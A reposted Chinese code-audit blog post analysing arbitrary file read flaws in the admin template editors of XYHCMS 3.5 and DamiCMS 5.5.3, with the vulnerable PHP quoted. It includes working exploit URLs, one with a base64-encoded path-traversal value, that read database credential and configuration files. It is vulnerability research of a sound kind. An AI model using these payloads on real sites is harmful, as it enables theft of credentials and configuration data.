码迷,mamicode.com
首页 > 其他好文 > 详细

【代码审计】两个任意文件读取漏洞实例

时间:2018-04-15 16:51:46      阅读:238      评论:0      收藏:0      [点我收藏+]

标签:实现   his   AC   mobile   tmp   代码审计   组成   empty   app   

0x00 前言

 

0x01 漏洞实例一

环境搭建:

XYHCMS官网:http://www.xyhcms.com/

网站源码版本:XYHCMS V3.5(2017-12-04 更新)

程序源码下载:https://pan.baidu.com/s/13q_ITM0pPTGlkaNv8uq2Iw

代码分析:

1、漏洞文件位置:/App/Manage/Controller/TempletsController.class.php 第59-83行:

    public function edit() {
        $ftype     = I(ftype, 0, intval);
        $fname     = I(fname, ‘‘, trim,htmlspecialchars);
        $file_path = !$ftype ? ./Public/Home/ . C(CFG_THEMESTYLE) . / : ./Public/Mobile/ . C(CFG_MOBILE_THEMESTYLE) . /;
        if (IS_POST) {
            if (empty($fname)) {
                $this->error(未指定文件名);
            }
            $_ext     = . . pathinfo($fname, PATHINFO_EXTENSION);
            $_cfg_ext = C(TMPL_TEMPLATE_SUFFIX);
            if ($_ext != $_cfg_ext) {
                $this->error(文件后缀必须为" . $_cfg_ext . ");
            }
            $content  = I(content, ‘‘, ‘‘);
            $fname    = ltrim($fname, ./);
            $truefile = $file_path . $fname;
            if (false !== file_put_contents($truefile, $content)) {
                $this->success(保存成功, U(index, array(ftype => $ftype)));
            } else {
                $this->error(保存文件失败,请重试);
            }
            exit();
        }
        $fname = base64_decode($fname);
        if (empty($fname)) {
            $this->error(未指定要编辑的文件);
        }
        $truefile = $file_path . $fname;

        if (!file_exists($truefile)) {
            $this->error(文件不存在);
        }
        $content = file_get_contents($truefile);
        if ($content === false) {
            $this->error(读取文件失败);
        }
        $content = htmlspecialchars($content);

        $this->assign(ftype, $ftype);
        $this->assign(fname, $fname);
        $this->assign(content, $content);
        $this->assign(type, 修改模板);
        $this->display();
    }

这段函数中对提交的参数进行处理,然后判断是否POST数据上来,如果有就进行保存等,如果没有POST数据,将跳过这段代码继续向下执行。

我们可以通过GET传入fname,跳过前面的保存文件过程,进入文件读取状态。

对fname进行base64解码,判断fname参数是否为空,拼接成完整的文件路径,然后判断这个文件是否存在,读取文件内容。

对fname未进行任何限制,导致程序在实现上存在任意文件读取漏洞。

漏洞利用:

登录网站后台,数据库配置文件路径:\App\Common\Conf\db.php
我们将这段组成相对路径,..\\..\\..\\App\\Common\\Conf\\db.php,然后进行base64编码,Li5cXC4uXFwuLlxcQXBwXFxDb21tb25cXENvbmZcXGRiLnBocA==
最后构造的链接形式如下:
http://127.0.0.1/xyhai.php?s=/Templets/edit/fname/Li5cXC4uXFwuLlxcQXBwXFxDb21tb25cXENvbmZcXGRiLnBocA==
通过url访问,成功获取到数据库敏感信息:

技术分享图片

0x02 漏洞实例二

环境搭建:

大米CMS官网:http://www.damicms.com
网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15)
程序源码下载:链接: https://pan.baidu.com/s/1QedJ1EelWHrIC4cX0kmWuA 密码: h4kj

代码分析:

漏洞文件位置:/Admin/Lib/Action/TplAction.class.php  第76-87行中:

public function add()  
{  
    $filename = dami_url_repalce(str_replace(*,.,trim($_GET[id])));  
    if (empty($filename))   
    {  
        $this->error(模板名称不能为空!);  
    }  
    $content = read_file($filename);  
    $this->assign(filename,$filename);  
    $this->assign(content,htmlspecialchars($content));  
    $this->display(add);  
}  

这段编辑模板的函数中,首先对获取的参数进行替换,然后判断文件是否为空,接着带入read_file函数中执行,可以看到参数并未进行任何过滤或处理,导致程序在实现上存在任意文件读取漏洞。

漏洞利用:

登录后台, 全局配置路径在\Public\Config\config.ini.php,通过构造URL读取全局配置文件内容。
http://127.0.0.1/admin.php?s=Tpl/Add/id/.\Public\Config\config.ini.php

技术分享图片

0x03  END

 

【代码审计】两个任意文件读取漏洞实例

标签:实现   his   AC   mobile   tmp   代码审计   组成   empty   app   

原文地址:https://www.cnblogs.com/xiaozi/p/8848100.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!